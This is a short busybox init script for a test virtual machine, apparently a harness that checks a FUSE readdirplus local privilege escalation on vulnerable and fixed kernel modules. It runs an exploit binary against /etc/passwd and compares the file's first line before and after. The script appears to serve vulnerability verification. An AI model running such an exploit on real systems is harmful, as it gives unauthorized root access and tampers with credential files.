#!/bin/busybox sh
BB=/bin/busybox
$BB mount -t proc proc /proc
$BB mount -t sysfs sysfs /sys
$BB mount -t devtmpfs devtmpfs /dev
$BB mount -t tmpfs tmpfs /tmp
ROLE="vuln"
for arg in $($BB cat /proc/cmdline); do
  case "$arg" in proof_role=*) ROLE="${arg#proof_role=}";; esac
done
if [ "$ROLE" = "fixed" ]; then
  $BB insmod /fuse-fixed.ko || true
else
  $BB insmod /fuse-vuln.ko || true
fi
echo VARIANT_ROLE=$ROLE
echo VARIANT_KERNEL=$($BB uname -r)
echo VARIANT_BEFORE=$($BB head -1 /etc/passwd)
/fuse_readdirplus_lpe --target /etc/passwd
rc=$?
echo VARIANT_EXPLOIT_RC=$rc
echo VARIANT_AFTER=$($BB head -1 /etc/passwd)
if [ "$ROLE" = "vuln" ] && [ $rc -eq 0 ]; then
  echo VARIANT_RESULT_READDIRPLUS_LPE_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -eq 0 ]; then
  echo VARIANT_RESULT_FIXED_BYPASS_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -ne 0 ]; then
  echo VARIANT_RESULT_FIXED_REJECTED_READDIRPLUS_OVERSIZED_DIRENT
else
  echo VARIANT_RESULT_NOT_CONFIRMED
fi
$BB sync
$BB poweroff -f